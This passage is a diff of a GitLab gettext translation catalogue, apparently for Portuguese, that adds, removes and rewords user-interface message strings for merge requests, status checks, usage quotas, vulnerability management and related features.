+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Esta confirmação faz parte do pedido de mesclagem %{link_to_merge_request}. Os comentários criados aqui, serão criados no contexto desse pedido de mesclagem."
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Este é um registo de segurança de eventos importantes que envolvem a tua conta."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr "A atualizar"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Enviar mapa de objetos"
@@ -36895,9 +37520,6 @@ msgstr "clica para enviar"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "adicionado %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
